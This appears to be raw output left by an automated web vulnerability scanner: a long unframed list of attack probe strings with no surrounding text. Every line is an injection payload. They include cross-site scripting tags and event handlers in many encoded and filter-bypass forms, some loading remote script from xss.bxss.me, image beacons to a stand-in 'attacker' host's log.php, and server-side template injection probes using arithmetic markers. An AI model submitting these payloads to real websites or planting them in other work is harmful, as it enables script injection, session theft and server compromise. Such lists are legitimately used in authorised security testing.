555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9308></ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%36%44%4B%68%289383%29%3C%2F%73%43%72%69%70%54%3E

555<ScR<ScRiPt>IpT>jdtv(9566)</sCr<ScRiPt>IpT>

555

dfb{{98991*97996}}xca

5559375780

555<ScRiPt >UlCJ(9659)</ScRiPt>

")dfb@(98991*97996)xca

555\u003CScRiPt\6DKh(9435)\u003C/sCripT\u003E

"%>dfb<%=98991*97996%>xca

555<ScRiPt >jdtv(9550)</ScRiPt>

bfg7921\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7921

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<svg  \xa0onload=UlCJ(9184)

555&lt

dfb{98991*97996}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9871></ScRiPt>

"}dfb#set($x=98991*97996)${x}xca

\xf6<img zzz onmouseover=6DKh(94941) //\xf6>

bfgx8843\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8843

555<isindex type=image src=1 onerror=UlCJ(9145)>

dfb${98991*97996}xca

555

555<ScRiPt >jdtv(9862)</ScRiPt>

"}dfb{{"abc"|title}}xca

555<iframe src='data:text/html

555<input autofocus onfocus=6DKh(9543)>

dfb#{98991*97996}xca

<%={{={@{#{${dfb}}%>

555<body onload=UlCJ(9096)>

dfb{{98991*97996}}xca

555<svg  \xa0onload=jdtv(9453)

"print("dfb" . 98991*97996 . "xca")

dfb{#98991*97996}xca

555

555<img src=//xss.bxss.me/t/dot.gif onload=UlCJ(9702)>

<a HrEF=http://xss.bxss.me></a>

555<img src=xyz OnErRor=UlCJ(9790)>

dfb{@98991*97996}xca

555<isindex type=image src=1 onerror=jdtv(9005)>

dfb[[${98991*97996}]]xca

"98991*97996*98991*97996

<th:t="${dfb}#foreach

555<img/src=">" onerror=alert(9549)>

<a HrEF=jaVaScRiPT:>

dfb__${98991*97996}__::.x

dfb{{=98991*97996}}xca

555<iframe src='data:text/html

555

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%55%6C%43%4A%289586%29%3C%2F%73%43%72%69%70%54%3E

dfb@(98991*97996)xca

555<body onload=jdtv(9054)>

555}body{zzz:Expre/**/SSion(6DKh(9488))}

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"}}}dfb{{{this}}}xca

555\u003CScRiPt\UlCJ(9284)\u003C/sCripT\u003E

dfb<%=98991*97996%>xca

555<ScRiPt >OyrX(9786)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=jdtv(9784)>

5552xQj9 <ScRiPt >6DKh(9706)</ScRiPt>

555&lt

555

dfb#set($x=98991*97996)${x}xca

"}#{98991*97996*98991*97996}

555<WEBAHI>FKCGG[!+!]</WEBAHI>

555<WC7QQV>PRJE3[!+!]</WC7QQV>

555<img src=xyz OnErRor=jdtv(9384)>

\xf6<img zzz onmouseover=UlCJ(95681) //\xf6>

dfb{{98991*97996}}xca

"}dfb#{xca}=123

555<script>OyrX(9934)</script>

dfb{{"abc"|title}}xca

555<ifRAme sRc=9387.com></IfRamE>

555<input autofocus onfocus=UlCJ(9806)>

555<img/src=">" onerror=alert(9268)>

print("dfb" . 98991*97996 . "xca")

"}}dfb{{'abcd'.toUpperCase()}}xca

555<script>OyrX(9863)</script>9863

dfb[[${98991*97996}]]xca

<a HrEF=http://xss.bxss.me></a>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb__${98991*97996}__::.x

555<aPFyxaD x=9831>

98991*97996*98991*97996

%35%35%35%3C%53%63%52%69%50%74%20%3E%6A%64%74%76%289596%29%3C%2F%73%43%72%69%70%54%3E

555<ScR<ScRiPt>IpT>OyrX(9566)</sCr<ScRiPt>IpT>

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"}}dfb{{98991*97996}}xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

555\u003CScRiPt\jdtv(9784)\u003C/sCripT\u003E

555<img sRc='http://attacker-9360/log.php?

555<ScRiPt >OyrX(9028)</ScRiPt>

555<ScRiPt >LMxL(9072)</ScRiPt>

555}body{zzz:Expre/**/SSion(UlCJ(9223))}

555&lt

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9082></ScRiPt>

dfb{{{this}}}xca

"}dfb[[${98991*97996}]]xca

555n7BYe <ScRiPt >UlCJ(9792)</ScRiPt>

555<amWPnxj<

\xf6<img zzz onmouseover=jdtv(90841) //\xf6>

555<WANQSH>A5FFZ[!+!]</WANQSH>

555<ScRiPt >OyrX(9044)</ScRiPt>

555<WHAWRO>I2TNJ[!+!]</WHAWRO>

555<input autofocus onfocus=jdtv(9158)>

"dfb__${98991*97996}__::.x

#{98991*97996*98991*97996}

555<script>LMxL(9132)</script>

555<svg  \xa0onload=OyrX(9353)

<a HrEF=http://xss.bxss.me></a>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ifRAme sRc=9436.com></IfRamE>

dfb#{xca}=123

555<script>LMxL(9673)</script>9673

555<isindex type=image src=1 onerror=OyrX(9100)>

555<a8pGvOR x=9115>

<a HrEF=jaVaScRiPT:>

'}}dfb{{98991*97996}}xca

dfb{{'abcd'.toUpperCase()}}xca

555<img sRc='http://attacker-9424/log.php?

555}body{zzz:Expre/**/SSion(jdtv(9130))}

'%}dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>LMxL(9294)</sCr<ScRiPt>IpT>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<iframe src='data:text/html

'}dfb{98991*97996}xca

555tCvy2 <ScRiPt >jdtv(9535)</ScRiPt>

555<aawFd70<

555<ScRiPt >LMxL(9945)</ScRiPt>

555<body onload=OyrX(9084)>

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9401></ScRiPt>

'}dfb${98991*97996}xca

555<WJEFNM>ZQZL2[!+!]</WJEFNM>

555<img src=//xss.bxss.me/t/dot.gif onload=OyrX(9645)>

dfb[[${98991*97996}]]xca

555<ifRAme sRc=9455.com></IfRamE>

555<ScRiPt >LMxL(9122)</ScRiPt>

555<img src=xyz OnErRor=OyrX(9812)>

'}dfb#{98991*97996}xca

dfb__${98991*97996}__::.x

555<a3QZmC4 x=9455>

555<svg  \xa0onload=LMxL(9629)

555<img/src=">" onerror=alert(9027)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img sRc='http://attacker-9124/log.php?

555<isindex type=image src=1 onerror=LMxL(9705)>

'}dfb{#98991*97996}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%4F%79%72%58%289341%29%3C%2F%73%43%72%69%70%54%3E

555<aPVRywo<

555<iframe src='data:text/html

555<ScRiPt >zIpJ(9134)</ScRiPt>

555\u003CScRiPt\OyrX(9100)\u003C/sCripT\u003E

'}dfb{@98991*97996}xca

555&lt

'}}dfb{{=98991*97996}}xca

555<WFBBRZ>BDSV2[!+!]</WFBBRZ>

\xf6<img zzz onmouseover=OyrX(93961) //\xf6>

555<body onload=LMxL(9458)>

')dfb@(98991*97996)xca

555<script>zIpJ(9464)</script>

555<img src=//xss.bxss.me/t/dot.gif onload=LMxL(9818)>

555<input autofocus onfocus=OyrX(9202)>

<a HrEF=http://xss.bxss.me></a>

555<script>zIpJ(9975)</script>9975

555<img src=xyz OnErRor=LMxL(9864)>

'%>dfb<%=98991*97996%>xca

<a HrEF=jaVaScRiPT:>

555<ScR<ScRiPt>IpT>zIpJ(9366)</sCr<ScRiPt>IpT>

555<img/src=">" onerror=alert(9878)>

555<ScRiPt >zIpJ(9836)</ScRiPt>

'}dfb#set($x=98991*97996)${x}xca

555}body{zzz:Expre/**/SSion(OyrX(9226))}

%35%35%35%3C%53%63%52%69%50%74%20%3E%4C%4D%78%4C%289619%29%3C%2F%73%43%72%69%70%54%3E

'}dfb{{"abc"|title}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9356></ScRiPt>

555\u003CScRiPt\LMxL(9324)\u003C/sCripT\u003E

555X9ipp <ScRiPt >OyrX(9744)</ScRiPt>

'print("dfb" . 98991*97996 . "xca")

555<WHDH5M>6KKDP[!+!]</WHDH5M>

555<ScRiPt >zIpJ(9564)</ScRiPt>

555&lt

555<ifRAme sRc=9188.com></IfRamE>

'98991*97996*98991*97996

555<svg  \xa0onload=zIpJ(9870)

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

\xf6<img zzz onmouseover=LMxL(91171) //\xf6>

555<isindex type=image src=1 onerror=zIpJ(9421)>

555<aDfgjft x=9932>

555<input autofocus onfocus=LMxL(9993)>

555<iframe src='data:text/html

'}}}dfb{{{this}}}xca

555<img sRc='http://attacker-9476/log.php?

<a HrEF=http://xss.bxss.me></a>

555<body onload=zIpJ(9638)>

555<aSoax5T<

<a HrEF=jaVaScRiPT:>

'}#{98991*97996*98991*97996}

555<img src=//xss.bxss.me/t/dot.gif onload=zIpJ(9826)>

'}dfb#{xca}=123

555}body{zzz:Expre/**/SSion(LMxL(9460))}

555<img src=xyz OnErRor=zIpJ(9943)>

555kD4Yy <ScRiPt >LMxL(9637)</ScRiPt>

'}}dfb{{'abcd'.toUpperCase()}}xca

555<img/src=">" onerror=alert(9226)>

555<WKIKBC>WFU1E[!+!]</WKIKBC>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

%35%35%35%3C%53%63%52%69%50%74%20%3E%7A%49%70%4A%289227%29%3C%2F%73%43%72%69%70%54%3E

555<ifRAme sRc=9698.com></IfRamE>

'}}dfb{{98991*97996}}xca

555\u003CScRiPt\zIpJ(9267)\u003C/sCripT\u003E

555<ah9uZ4b x=9996>

'}dfb[[${98991*97996}]]xca

555&lt

555<img sRc='http://attacker-9960/log.php?

'dfb__${98991*97996}__::.x

555<avXFRmx<

\xf6<img zzz onmouseover=zIpJ(96771) //\xf6>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<input autofocus onfocus=zIpJ(9687)>

1}}dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >S9em(9912)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

1%}dfb{{98991*97996}}xca

'"()&%<zzz><ScRiPt >S9em(9200)</ScRiPt>

<a HrEF=jaVaScRiPT:>

1}dfb{98991*97996}xca

555}body{zzz:Expre/**/SSion(zIpJ(9096))}

5559317234

5557w5GX <ScRiPt >zIpJ(9367)</ScRiPt>

1}dfb${98991*97996}xca

bfg7487\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7487

1}dfb#{98991*97996}xca

555<W1HHIL>ZK8RC[!+!]</W1HHIL>

bfgx3325\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3325

1}dfb{#98991*97996}xca

555<ifRAme sRc=9272.com></IfRamE>

555<aHlM1qE x=9705>

1}dfb{@98991*97996}xca

<%={{={@{#{${dfb}}%>

1}}dfb{{=98991*97996}}xca

555

555<img sRc='http://attacker-9516/log.php?

<th:t="${dfb}#foreach

1)dfb@(98991*97996)xca

555<aSpFtw4<

555

1%>dfb<%=98991*97996%>xca

1}dfb#set($x=98991*97996)${x}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}dfb{{"abc"|title}}xca

555

dfb{{98991*97996}}xca

1print("dfb" . 98991*97996 . "xca")

dfb[[${98991*97996}]]xca

198991*97996*98991*97996

dfb__${98991*97996}__::.x

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >S9em(9044)</ScRiPt>

1}}}dfb{{{this}}}xca

555<WBZSEW>2DIHB[!+!]</WBZSEW>

1}#{98991*97996*98991*97996}

1}dfb#{xca}=123

555<script>S9em(9058)</script>

1}}dfb{{'abcd'.toUpperCase()}}xca

555<script>S9em(9142)</script>9142

555'"()&%<zzz><ScRiPt >TskN(9453)</ScRiPt>

555'"()&%<zzz><ScRiPt >MoEN(9830)</ScRiPt>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555'"()&%<zzz><ScRiPt >xXXZ(9790)</ScRiPt>

555<ScR<ScRiPt>IpT>S9em(9655)</sCr<ScRiPt>IpT>

'"()&%<zzz><ScRiPt >MoEN(9098)</ScRiPt>

'"()&%<zzz><ScRiPt >xXXZ(9264)</ScRiPt>

555<ScRiPt >S9em(9621)</ScRiPt>

'"()&%<zzz><ScRiPt >TskN(9758)</ScRiPt>

1}}dfb{{98991*97996}}xca

5559950911

5559418424

5559145780

1}dfb[[${98991*97996}]]xca

bfg6483\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6483

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9630></ScRiPt>

bfg10403\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10403

1dfb__${98991*97996}__::.x

bfgx7270\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7270

bfgx6579\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6579

555<ScRiPt >S9em(9337)</ScRiPt>

bfg8171\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8171

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<%={{={@{#{${dfb}}%>

bfgx10102\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10102

<%={{={@{#{${dfb}}%>

555<svg  \xa0onload=S9em(9359)

555<ScRiPt >AtgV(9243)</ScRiPt>

555

555

555<isindex type=image src=1 onerror=S9em(9570)>

555<W1SNJY>2GMH7[!+!]</W1SNJY>

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<iframe src='data:text/html

555

555<script>AtgV(9372)</script>

<th:t="${dfb}#foreach

555<body onload=S9em(9100)>

<th:t="${dfb}#foreach

555

555

555<script>AtgV(9111)</script>9111

555<img src=//xss.bxss.me/t/dot.gif onload=S9em(9934)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=S9em(9372)>

555<ScR<ScRiPt>IpT>AtgV(9140)</sCr<ScRiPt>IpT>

555

555

555

555<ScRiPt >AtgV(9514)</ScRiPt>

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9540)>

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%39%65%6D%289969%29%3C%2F%73%43%72%69%70%54%3E

dfb[[${98991*97996}]]xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9655></ScRiPt>

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

555\u003CScRiPt\S9em(9803)\u003C/sCripT\u003E

555<ScRiPt >AtgV(9393)</ScRiPt>

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

555&lt

555<svg  \xa0onload=AtgV(9003)

dfb__${98991*97996}__::.x

\xf6<img zzz onmouseover=S9em(96491) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<isindex type=image src=1 onerror=AtgV(9573)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >xXXZ(9440)</ScRiPt>

555<input autofocus onfocus=S9em(9208)>

555<ScRiPt >MoEN(9111)</ScRiPt>

555<iframe src='data:text/html

555<ScRiPt >TskN(9667)</ScRiPt>

555<WQST20>IHCYQ[!+!]</WQST20>

555<W1LCDV>DKNMH[!+!]</W1LCDV>

<a HrEF=http://xss.bxss.me></a>

555<script>xXXZ(9792)</script>

555<W658L6>FHMJK[!+!]</W658L6>

555<script>MoEN(9914)</script>

555<body onload=AtgV(9660)>

555<script>xXXZ(9917)</script>9917

<a HrEF=jaVaScRiPT:>

555<script>MoEN(9325)</script>9325

555<script>TskN(9363)</script>

555<img src=//xss.bxss.me/t/dot.gif onload=AtgV(9228)>

555<ScR<ScRiPt>IpT>xXXZ(9205)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>MoEN(9633)</sCr<ScRiPt>IpT>

555<script>TskN(9573)</script>9573

555}body{zzz:Expre/**/SSion(S9em(9387))}

555<img src=xyz OnErRor=AtgV(9748)>

555<ScRiPt >MoEN(9133)</ScRiPt>

555<ScR<ScRiPt>IpT>TskN(9047)</sCr<ScRiPt>IpT>

555SMXzH <ScRiPt >S9em(9818)</ScRiPt>

555<ScRiPt >xXXZ(9753)</ScRiPt>

555<ScRiPt >TskN(9385)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9661></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9401></ScRiPt>

555<W4MC4W>3EHVT[!+!]</W4MC4W>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9671></ScRiPt>

555<img/src=">" onerror=alert(9484)>

555<ifRAme sRc=9873.com></IfRamE>

555<ScRiPt >xXXZ(9039)</ScRiPt>

555<ScRiPt >TskN(9775)</ScRiPt>

555<ScRiPt >MoEN(9374)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%41%74%67%56%289716%29%3C%2F%73%43%72%69%70%54%3E

555<svg  \xa0onload=xXXZ(9042)

555<svg  \xa0onload=TskN(9185)

555<svg  \xa0onload=MoEN(9905)

555\u003CScRiPt\AtgV(9692)\u003C/sCripT\u003E

555<aIm8AC3 x=9349>

555<isindex type=image src=1 onerror=MoEN(9500)>

555<isindex type=image src=1 onerror=xXXZ(9933)>

555&lt

555<iframe src='data:text/html

555<img sRc='http://attacker-9215/log.php?

555<isindex type=image src=1 onerror=TskN(9184)>

555<body onload=MoEN(9920)>

555<iframe src='data:text/html

555<iframe src='data:text/html

\xf6<img zzz onmouseover=AtgV(91831) //\xf6>

555<awApGwc<

555<body onload=xXXZ(9722)>

555<body onload=TskN(9181)>

555<img src=//xss.bxss.me/t/dot.gif onload=MoEN(9326)>

555<input autofocus onfocus=AtgV(9441)>

555<img src=xyz OnErRor=MoEN(9144)>

555<img src=//xss.bxss.me/t/dot.gif onload=xXXZ(9026)>

555<img src=//xss.bxss.me/t/dot.gif onload=TskN(9349)>

<a HrEF=http://xss.bxss.me></a>

555<img src=xyz OnErRor=TskN(9205)>

555<img/src=">" onerror=alert(9084)>

<a HrEF=jaVaScRiPT:>

555<img src=xyz OnErRor=xXXZ(9230)>

555<img/src=">" onerror=alert(9079)>

555<img/src=">" onerror=alert(9627)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4D%6F%45%4E%289880%29%3C%2F%73%43%72%69%70%54%3E

%35%35%35%3C%53%63%52%69%50%74%20%3E%78%58%58%5A%289835%29%3C%2F%73%43%72%69%70%54%3E

555}body{zzz:Expre/**/SSion(AtgV(9199))}

%35%35%35%3C%53%63%52%69%50%74%20%3E%54%73%6B%4E%289292%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\xXXZ(9739)\u003C/sCripT\u003E

5552KNC3 <ScRiPt >AtgV(9369)</ScRiPt>

555\u003CScRiPt\TskN(9828)\u003C/sCripT\u003E

555\u003CScRiPt\MoEN(9918)\u003C/sCripT\u003E

555&lt

555&lt

555&lt

555<WM5V6K>94PN9[!+!]</WM5V6K>

\xf6<img zzz onmouseover=MoEN(90451) //\xf6>

\xf6<img zzz onmouseover=TskN(91771) //\xf6>

555<ifRAme sRc=9970.com></IfRamE>

555<input autofocus onfocus=TskN(9059)>

\xf6<img zzz onmouseover=xXXZ(97141) //\xf6>

555<input autofocus onfocus=MoEN(9476)>

555<aphglVV x=9655>

555<input autofocus onfocus=xXXZ(9757)>

<a HrEF=http://xss.bxss.me></a>

555<img sRc='http://attacker-9459/log.php?

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

555<aq9c1EF<

555}body{zzz:Expre/**/SSion(TskN(9371))}

<a HrEF=jaVaScRiPT:>

<a HrEF=jaVaScRiPT:>

555oJjy9 <ScRiPt >TskN(9972)</ScRiPt>

555}body{zzz:Expre/**/SSion(MoEN(9643))}

555}body{zzz:Expre/**/SSion(xXXZ(9547))}

555<WWWPVW>CLRNL[!+!]</WWWPVW>

555ZJSpq <ScRiPt >MoEN(9250)</ScRiPt>

555dDnHy <ScRiPt >xXXZ(9620)</ScRiPt>

555<W3CT9K>VNGBL[!+!]</W3CT9K>

555<ifRAme sRc=9604.com></IfRamE>

555<ifRAme sRc=9806.com></IfRamE>

555<WGFEXC>NFY4E[!+!]</WGFEXC>

555<a1WYAor x=9583>

555'"()&%<zzz><ScRiPt >BbVQ(9373)</ScRiPt>

555<ifRAme sRc=9518.com></IfRamE>

555<aELDpwk x=9426>

'"()&%<zzz><ScRiPt >BbVQ(9737)</ScRiPt>

555<agKMF8r x=9670>

555<img sRc='http://attacker-9931/log.php?

555<img sRc='http://attacker-9004/log.php?

5559630969

555<aPJDzTY<

555<aniNZ8h<

555<img sRc='http://attacker-9364/log.php?

bfg9713\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9713

555<apDEwVG<

bfgx6676\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6676

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

dfb{98991*97996}xca

dfb${98991*97996}xca

dfb#{98991*97996}xca

dfb{#98991*97996}xca

dfb{@98991*97996}xca

dfb{{=98991*97996}}xca

555'"()&%<zzz><ScRiPt >SJcs(9339)</ScRiPt>

dfb@(98991*97996)xca

dfb<%=98991*97996%>xca

'"()&%<zzz><ScRiPt >SJcs(9467)</ScRiPt>

555'"()&%<zzz><ScRiPt >kU4a(9732)</ScRiPt>

555'"()&%<zzz><ScRiPt >qNDM(9603)</ScRiPt>

dfb#set($x=98991*97996)${x}xca

5559930572

dfb{{"abc"|title}}xca

'"()&%<zzz><ScRiPt >kU4a(9350)</ScRiPt>

'"()&%<zzz><ScRiPt >qNDM(9764)</ScRiPt>

bfg7194\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7194

print("dfb" . 98991*97996 . "xca")

bfgx1407\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1407

5559612755

5559802391

98991*97996*98991*97996

<%={{={@{#{${dfb}}%>

bfg2848\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2848

dfb{@math key=98991 method="multiply" operand=97996/}xca

bfg2137\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2137

dfb{{{this}}}xca

bfgx10261\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10261

555

bfgx9704\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9704

#{98991*97996*98991*97996}

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555

dfb#{xca}=123

555

<th:t="${dfb}#foreach

dfb{{'abcd'.toUpperCase()}}xca

555

dfb{{98991*97996}}xca

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

dfb[[${98991*97996}]]xca

dfb{98991*97996}xca

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

dfb${98991*97996}xca

dfb[[${98991*97996}]]xca

555

dfb#{98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

555<ScRiPt >BbVQ(9549)</ScRiPt>

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

dfb{#98991*97996}xca

555<WPREBG>RA3LJ[!+!]</WPREBG>

dfb__${98991*97996}__::.x

dfb{@98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>BbVQ(9090)</script>

dfb{{=98991*97996}}xca

555<ScRiPt >qNDM(9664)</ScRiPt>

555<script>BbVQ(9962)</script>9962

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb@(98991*97996)xca

555<ScR<ScRiPt>IpT>BbVQ(9329)</sCr<ScRiPt>IpT>

555<ScRiPt >kU4a(9541)</ScRiPt>

dfb<%=98991*97996%>xca

555<WQSB1M>CS6SP[!+!]</WQSB1M>

555<ScRiPt >BbVQ(9953)</ScRiPt>

dfb#set($x=98991*97996)${x}xca

555<WUYDYQ>0I7XW[!+!]</WUYDYQ>

555<script>qNDM(9734)</script>

dfb{{"abc"|title}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9488></ScRiPt>

555<script>kU4a(9763)</script>

555<script>qNDM(9303)</script>9303

555<ScRiPt >BbVQ(9974)</ScRiPt>

print("dfb" . 98991*97996 . "xca")

555<script>kU4a(9165)</script>9165

555<ScR<ScRiPt>IpT>qNDM(9532)</sCr<ScRiPt>IpT>

555<svg  \xa0onload=BbVQ(9288)

98991*97996*98991*97996

555<ScR<ScRiPt>IpT>kU4a(9917)</sCr<ScRiPt>IpT>

555<ScRiPt >qNDM(9076)</ScRiPt>

555<isindex type=image src=1 onerror=BbVQ(9120)>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >kU4a(9721)</ScRiPt>

dfb{{{this}}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9470></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9579></ScRiPt>

555<iframe src='data:text/html

555<ScRiPt >kU4a(9939)</ScRiPt>

555<body onload=BbVQ(9861)>

555<ScRiPt >qNDM(9622)</ScRiPt>

#{98991*97996*98991*97996}

555<svg  \xa0onload=kU4a(9510)

dfb#{xca}=123

555<isindex type=image src=1 onerror=kU4a(9334)>

555<svg  \xa0onload=qNDM(9421)

555<img src=//xss.bxss.me/t/dot.gif onload=BbVQ(9109)>

555<iframe src='data:text/html

dfb{{'abcd'.toUpperCase()}}xca

555<isindex type=image src=1 onerror=qNDM(9263)>

555<img src=xyz OnErRor=BbVQ(9105)>

555<body onload=kU4a(9483)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<iframe src='data:text/html

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9167)>

555<img src=//xss.bxss.me/t/dot.gif onload=kU4a(9720)>

555<body onload=qNDM(9450)>

dfb[[${98991*97996}]]xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%42%62%56%51%289080%29%3C%2F%73%43%72%69%70%54%3E

555'"()&%<zzz><ScRiPt >fYXr(9955)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=qNDM(9011)>

555<img src=xyz OnErRor=kU4a(9151)>

'"()&%<zzz><ScRiPt >fYXr(9248)</ScRiPt>

dfb__${98991*97996}__::.x

555\u003CScRiPt\BbVQ(9407)\u003C/sCripT\u003E

555<img/src=">" onerror=alert(9676)>

555<img src=xyz OnErRor=qNDM(9528)>

555&lt

%35%35%35%3C%53%63%52%69%50%74%20%3E%6B%55%34%61%289370%29%3C%2F%73%43%72%69%70%54%3E

5559768403

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img/src=">" onerror=alert(9101)>

\xf6<img zzz onmouseover=BbVQ(95351) //\xf6>

555\u003CScRiPt\kU4a(9003)\u003C/sCripT\u003E

%35%35%35%3C%53%63%52%69%50%74%20%3E%71%4E%44%4D%289414%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >SJcs(9023)</ScRiPt>

555<input autofocus onfocus=BbVQ(9043)>

555&lt

bfg3614\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3614

555<WC2H2Q>9UR3M[!+!]</WC2H2Q>

555\u003CScRiPt\qNDM(9256)\u003C/sCripT\u003E

555<script>SJcs(9875)</script>

<a HrEF=http://xss.bxss.me></a>

bfgx3541\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3541

\xf6<img zzz onmouseover=kU4a(93471) //\xf6>

555<script>SJcs(9898)</script>9898

<a HrEF=jaVaScRiPT:>

555&lt

555<input autofocus onfocus=kU4a(9271)>

<%={{={@{#{${dfb}}%>

555}body{zzz:Expre/**/SSion(BbVQ(9664))}

555<ScR<ScRiPt>IpT>SJcs(9488)</sCr<ScRiPt>IpT>

<a HrEF=http://xss.bxss.me></a>

\xf6<img zzz onmouseover=qNDM(97091) //\xf6>

555

555<input autofocus onfocus=qNDM(9217)>

dfb{{98991*97996}}xca

555R1q6l <ScRiPt >BbVQ(9906)</ScRiPt>

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >SJcs(9907)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(kU4a(9905))}

dfb{{98991*97996}}xca

555<WKEESC>4BJYB[!+!]</WKEESC>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9093></ScRiPt>

